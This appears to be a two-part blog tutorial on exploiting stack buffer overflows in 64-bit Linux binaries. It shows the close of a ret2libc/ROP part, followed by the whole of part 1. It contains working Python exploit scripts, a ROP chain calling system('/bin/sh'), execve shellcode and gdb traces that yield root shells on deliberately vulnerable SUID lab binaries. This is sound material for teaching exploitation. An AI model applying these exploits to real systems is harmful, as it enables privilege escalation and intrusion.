0x0000000000400520: mov edi, 0x601050; jmp rax;
0x000000000040051f: pop rbp; mov edi, 0x601050; jmp rax;
0x00000000004006a3: pop rdi; ret ;

3 gadgets found

The third gadget that pops a value off the stack into RDI is perfect. We now have everything we need to construct our exploit:

#!/usr/bin/env python

from struct import *

buf = ""
buf += "A"*104                              # junk
buf += pack("<Q", 0x00000000004006a3)       # pop rdi; ret;
buf += pack("<Q", 0x4006ff)                 # pointer to "/bin/sh" gets popped into rdi
buf += pack("<Q", 0x7ffff7a5ac40)           # address of system()

f = open("in.txt", "w")
f.write(buf)

This exploit will write our payload into in.txt which we can redirect into the binary within gdb. Let’s go over it quickly:

  • Line 7: We overwrite RIP with the address of our ROP gadget so when vuln() returns, it executes pop rdi; ret.
  • Line 8: This value is popped into RDI when pop rdi is executed. Once that’s done, RSP will be pointing to 0x7ffff7a5ac40; the address of system().
  • Line 9: When ret executes after pop rdi, execution returns to system(). system() will look at RDI for the parameter it expects and execute it. In this case, it executes “/bin/sh”.

Let’s see it in action in gdb. We’ll set a breakpoint at vuln()’s return instruction:

gdb-peda$ br *vuln+73
Breakpoint 1 at 0x40060f

Now we’ll redirect the payload into the binary and it should hit our first breakpoint:

gdb-peda$ r < in.txt
Try to exec /bin/sh
Read 128 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell for you :(
.
.
.
[-------------------------------------code-------------------------------------]
   0x400604 <vuln+62>:  call   0x400480 <puts@plt>
   0x400609 <vuln+67>:  mov    eax,0x0
   0x40060e <vuln+72>:  leave
=> 0x40060f <vuln+73>:  ret
   0x400610 <main>: push   rbp
   0x400611 <main+1>:   mov    rbp,rsp
   0x400614 <main+4>:   sub    rsp,0x10
   0x400618 <main+8>:   mov    DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe508 --> 0x4006a3 (<__libc_csu_init+99>:    pop    rdi)
0008| 0x7fffffffe510 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
0016| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>:  test   rdi,rdi)
0024| 0x7fffffffe520 --> 0x0
0032| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>:   mov    edi,eax)
0040| 0x7fffffffe530 --> 0x0
0048| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc")
0056| 0x7fffffffe540 --> 0x100000000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040060f in vuln ()

Notice that RSP points to 0x4006a3 which is our ROP gadget. Step in and we’ll return to our gadget where we can now execute pop rdi.

gdb-peda$ si
.
.
.
[-------------------------------------code-------------------------------------]
=> 0x4006a3 <__libc_csu_init+99>:   pop    rdi
   0x4006a4 <__libc_csu_init+100>:  ret
   0x4006a5:    data32 nop WORD PTR cs:[rax+rax*1+0x0]
   0x4006b0 <__libc_csu_fini>:  repz ret
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe510 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
0008| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>:  test   rdi,rdi)
0016| 0x7fffffffe520 --> 0x0
0024| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>:   mov    edi,eax)
0032| 0x7fffffffe530 --> 0x0
0040| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc")
0048| 0x7fffffffe540 --> 0x100000000
0056| 0x7fffffffe548 --> 0x400610 (<main>:  push   rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004006a3 in __libc_csu_init ()

Step in and RDI should now contain a pointer to “/bin/sh”:

gdb-peda$ si
[----------------------------------registers-----------------------------------]
.
.
.
RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
.
.
.
[-------------------------------------code-------------------------------------]
   0x40069e <__libc_csu_init+94>:   pop    r13
   0x4006a0 <__libc_csu_init+96>:   pop    r14
   0x4006a2 <__libc_csu_init+98>:   pop    r15
=> 0x4006a4 <__libc_csu_init+100>:  ret
   0x4006a5:    data32 nop WORD PTR cs:[rax+rax*1+0x0]
   0x4006b0 <__libc_csu_fini>:  repz ret
   0x4006b2:    add    BYTE PTR [rax],al
   0x4006b4 <_fini>:    sub    rsp,0x8
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>:  test   rdi,rdi)
0008| 0x7fffffffe520 --> 0x0
0016| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>:   mov    edi,eax)
0024| 0x7fffffffe530 --> 0x0
0032| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc")
0040| 0x7fffffffe540 --> 0x100000000
0048| 0x7fffffffe548 --> 0x400610 (<main>:  push   rbp)
0056| 0x7fffffffe550 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004006a4 in __libc_csu_init ()

Now RIP points to ret and RSP points to the address of system(). Step in again and we should now be in system()

gdb-peda$ si
.
.
.
[-------------------------------------code-------------------------------------]
   0x7ffff7a5ac35 <cancel_handler+181>: pop    rbx
   0x7ffff7a5ac36 <cancel_handler+182>: ret
   0x7ffff7a5ac37:  nop    WORD PTR [rax+rax*1+0x0]
=> 0x7ffff7a5ac40 <system>: test   rdi,rdi
   0x7ffff7a5ac43 <system+3>:   je     0x7ffff7a5ac50 <system+16>
   0x7ffff7a5ac45 <system+5>:   jmp    0x7ffff7a5a770 <do_system>
   0x7ffff7a5ac4a <system+10>:  nop    WORD PTR [rax+rax*1+0x0]
   0x7ffff7a5ac50 <system+16>:  lea    rdi,[rip+0x13744c]        # 0x7ffff7b920a3

At this point if we just continue execution we should see that “/bin/sh” is executed:

gdb-peda$ c
[New process 11114]
process 11114 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
[New process 11115]
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
process 11115 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
[Inferior 3 (process 11115) exited normally]
Warning: not running or target is remote

Perfect, it looks like our exploit works. Let’s try it and see if we can get a root shell. We’ll change ret2libc’s owner and permissions so that it’s SUID root:

koji@pwnbox:~/ret2libc$ sudo chown root ret2libc
koji@pwnbox:~/ret2libc$ sudo chmod 4755 ret2libc

Now let’s execute our exploit much like we did in part 1:

koji@pwnbox:~/ret2libc$ (cat in.txt ; cat) | ./ret2libc
Try to exec /bin/sh
Read 128 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell for you :(
whoami
root

Got our root shell again, and we bypassed NX. Now this was a relatively simple exploit that only required one parameter. What if we need more? Then we need to find more gadgets that setup the registers accordingly before returning to a function in libc. If you’re up for a challenge, rewrite the exploit so that it calls execve() instead of system(). execve() requires three parameters:

int execve(const char *filename, char *const argv[], char *const envp[]);

This means you’ll need to have RDI, RSI, and RDX populated with proper values before calling execve(). Try to use gadgets only within the binary itself, that is, don’t look for gadgets in libc.

64-bit Linux stack smashing tutorial: Part 1

This series of tutorials is aimed as a quick introduction to exploiting buffer overflows on 64-bit Linux binaries. It’s geared primarily towards folks who are already familiar with exploiting 32-bit binaries and are wanting to apply their knowledge to exploiting 64-bit binaries. This tutorial is the result of compiling scattered notes I’ve collected over time into a cohesive whole.

Setup

Writing exploits for 64-bit Linux binaries isn’t too different from writing 32-bit exploits. There are however a few gotchas and I’ll be touching on those as we go along. The best way to learn this stuff is to do it, so I encourage you to follow along. I’ll be using Ubuntu 14.10 to compile the vulnerable binaries as well as to write the exploits. I’ll provide pre-compiled binaries as well in case you don’t want to compile them yourself. I’ll also be making use of the following tools for this particular tutorial:

64-bit, what you need to know

For the purpose of this tutorial, you should be aware of the following points:

  • General purpose registers have been expanded to 64-bit. So we now have RAX, RBX, RCX, RDX, RSI, and RDI.
  • Instruction pointer, base pointer, and stack pointer have also been expanded to 64-bit as RIP, RBP, and RSP respectively.
  • Additional registers have been provided: R8 to R15.
  • Pointers are 8-bytes wide.
  • Push/pop on the stack are 8-bytes wide.
  • Maximum canonical address size of 0x00007FFFFFFFFFFF.
  • Parameters to functions are passed through registers.

It’s always good to know more, so feel free to Google information on 64-bit architecture and assembly programming. Wikipedia has a nice short article that’s worth reading.

Classic stack smashing

Let’s begin with a classic stack smashing example. We’ll disable ASLR, NX, and stack canaries so we can focus on the actual exploitation. The source code for our vulnerable binary is as follows:

/* Compile: gcc -fno-stack-protector -z execstack classic.c -o classic */
/* Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space           */ 

#include <stdio.h>
#include <unistd.h>

int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nRead %d bytes. buf is %s\n", r, buf);
    puts("No shell for you :(");
    return 0;
}

int main(int argc, char *argv[]) {
    printf("Try to exec /bin/sh");
    vuln();
    return 0;
}

You can also grab the precompiled binary here.

There’s an obvious buffer overflow in the vuln() function when read() can copy up to 400 bytes into an 80 byte buffer. So technically if we pass 400 bytes in, we should overflow the buffer and overwrite RIP with our payload right? Let’s create an exploit containing the following:

#!/usr/bin/env python
buf = ""
buf += "A"*400

f = open("in.txt", "w")
f.write(buf)

This script will create a file called in.txt containing 400 “A”s. We’ll load classic into gdb and redirect the contents of in.txt into it and see if we can overwrite RIP:

gdb-peda$ r < in.txt
Try to exec /bin/sh
Read 400 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell for you :(

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b015a0 (<__write_nocancel+7>:  cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd5a00 --> 0x0
RSI: 0x7ffff7ff5000 ("No shell for you :(\nis ", 'A' <repeats 92 times>"\220, \001\n")
RDI: 0x1
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe508 ('A' <repeats 200 times>...)
RIP: 0x40060f (<vuln+73>:   ret)
R8 : 0x283a20756f792072 ('r you :(')
R9 : 0x4141414141414141 ('AAAAAAAA')
R10: 0x7fffffffe260 --> 0x0
R11: 0x246
R12: 0x4004d0 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffe600 ('A' <repeats 48 times>, "|\350\377\377\377\177")
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400604 <vuln+62>:  call   0x400480 <puts@plt>
   0x400609 <vuln+67>:  mov    eax,0x0
   0x40060e <vuln+72>:  leave
=> 0x40060f <vuln+73>:  ret
   0x400610 <main>: push   rbp
   0x400611 <main+1>:   mov    rbp,rsp
   0x400614 <main+4>:   sub    rsp,0x10
   0x400618 <main+8>:   mov    DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe508 ('A' <repeats 200 times>...)
0008| 0x7fffffffe510 ('A' <repeats 200 times>...)
0016| 0x7fffffffe518 ('A' <repeats 200 times>...)
0024| 0x7fffffffe520 ('A' <repeats 200 times>...)
0032| 0x7fffffffe528 ('A' <repeats 200 times>...)
0040| 0x7fffffffe530 ('A' <repeats 200 times>...)
0048| 0x7fffffffe538 ('A' <repeats 200 times>...)
0056| 0x7fffffffe540 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040060f in vuln ()

So the program crashed as expected, but not because we overwrote RIP with an invalid address. In fact we don’t control RIP at all. Recall as I mentioned earlier that the maximum address size is 0x00007FFFFFFFFFFF. We’re overwriting RIP with a non-canonical address of 0x4141414141414141 which causes the processor to raise an exception. In order to control RIP, we need to overwrite it with 0x0000414141414141 instead. So really the goal is to find the offset with which to overwrite RIP with a canonical address. We can use a cyclic pattern to find this offset:

gdb-peda$ pattern_create 400 in.txt
Writing pattern of 400 chars to filename "in.txt"

Let’s run it again and examine the contents of RSP:

gdb-peda$ r < in.txt
Try to exec /bin/sh
Read 400 bytes. buf is AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA�
No shell for you :(

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b015a0 (<__write_nocancel+7>:  cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd5a00 --> 0x0
RSI: 0x7ffff7ff5000 ("No shell for you :(\nis AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA\220\001\n")
RDI: 0x1
RBP: 0x416841414c414136 ('6AALAAhA')
RSP: 0x7fffffffe508 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6"...)
RIP: 0x40060f (<vuln+73>:   ret)
R8 : 0x283a20756f792072 ('r you :(')
R9 : 0x4147414131414162 ('bAA1AAGA')
R10: 0x7fffffffe260 --> 0x0
R11: 0x246
R12: 0x4004d0 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffe600 ("A%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%Z|\350\377\377\377\177")
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400604 <vuln+62>:  call   0x400480 <puts@plt>
   0x400609 <vuln+67>:  mov    eax,0x0
   0x40060e <vuln+72>:  leave
=> 0x40060f <vuln+73>:  ret
   0x400610 <main>: push   rbp
   0x400611 <main+1>:   mov    rbp,rsp
   0x400614 <main+4>:   sub    rsp,0x10
   0x400618 <main+8>:   mov    DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe508 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6"...)
0008| 0x7fffffffe510 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%"...)
0016| 0x7fffffffe518 ("jAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA"...)
0024| 0x7fffffffe520 ("AkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%j"...)
0032| 0x7fffffffe528 ("AAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%"...)
0040| 0x7fffffffe530 ("RAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA"...)
0048| 0x7fffffffe538 ("AoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%R"...)
0056| 0x7fffffffe540 ("AAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%"...)
[------------------------------------------------------------------------------]

We can clearly see our cyclic pattern on the stack. Let’s find the offset:

gdb-peda$ x/wx $rsp
0x7fffffffe508: 0x41413741

gdb-peda$ pattern_offset 0x41413741
1094793025 found at offset: 104

So RIP is at offset 104. Let’s update our exploit and see if we can overwrite RIP this time:

#!/usr/bin/env python
from struct import *

buf = ""
buf += "A"*104                      # offset to RIP
buf += pack("<Q", 0x424242424242)   # overwrite RIP with 0x0000424242424242
buf += "C"*290                      # padding to keep payload length at 400 bytes

f = open("in.txt", "w")
f.write(buf)

Run it to create an updated in.txt file, and then redirect it into the program within gdb:

gdb-peda$ r < in.txt
Try to exec /bin/sh
Read 400 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell for you :(

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b015a0 (<__write_nocancel+7>:  cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd5a00 --> 0x0
RSI: 0x7ffff7ff5000 ("No shell for you :(\nis ", 'A' <repeats 92 times>"\220, \001\n")
RDI: 0x1
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe510 ('C' <repeats 200 times>...)
RIP: 0x424242424242 ('BBBBBB')
R8 : 0x283a20756f792072 ('r you :(')
R9 : 0x4141414141414141 ('AAAAAAAA')
R10: 0x7fffffffe260 --> 0x0
R11: 0x246
R12: 0x4004d0 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffe600 ('C' <repeats 48 times>, "|\350\377\377\377\177")
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x424242424242
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe510 ('C' <repeats 200 times>...)
0008| 0x7fffffffe518 ('C' <repeats 200 times>...)
0016| 0x7fffffffe520 ('C' <repeats 200 times>...)
0024| 0x7fffffffe528 ('C' <repeats 200 times>...)
0032| 0x7fffffffe530 ('C' <repeats 200 times>...)
0040| 0x7fffffffe538 ('C' <repeats 200 times>...)
0048| 0x7fffffffe540 ('C' <repeats 200 times>...)
0056| 0x7fffffffe548 ('C' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()

Excellent, we’ve gained control over RIP. Since this program is compiled without NX or stack canaries, we can write our shellcode directly on the stack and return to it. Let’s go ahead and finish it. I’ll be using a 27-byte shellcode that executes execve(“/bin/sh”) found here.

We’ll store the shellcode on the stack via an environment variable and find its address on the stack using getenvaddr:

koji@pwnbox:~/classic$ export PWN=`python -c 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`

koji@pwnbox:~/classic$ ~/getenvaddr PWN ./classic
PWN will be at 0x7fffffffeefa

We’ll update our exploit to return to our shellcode at 0x7fffffffeefa:

#!/usr/bin/env python
from struct import *

buf = ""
buf += "A"*104
buf += pack("<Q", 0x7fffffffeefa)

f = open("in.txt", "w")
f.write(buf)

Make sure to change the ownership and permission of classic to SUID root so we can get our root shell:

koji@pwnbox:~/classic$ sudo chown root classic
koji@pwnbox:~/classic$ sudo chmod 4755 classic

And finally, we’ll update in.txt and pipe our payload into classic:

koji@pwnbox:~/classic$ python ./sploit.py
koji@pwnbox:~/classic$ (cat in.txt ; cat) | ./classic
Try to exec /bin/sh
Read 112 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp
No shell for you :(
whoami
root

We’ve got a root shell, so our exploit worked. The main gotcha here was that we needed to be mindful of the maximum address size, otherwise we wouldn’t have been able to gain control of RIP. This concludes part 1 of the tutorial.

Part 1 was pretty easy, so for part 2 we’ll be using the same binary, only this time it will be compiled with NX. This will prevent us from executing instructions on the stack, so we’ll be looking at using ret2libc to get a root shell.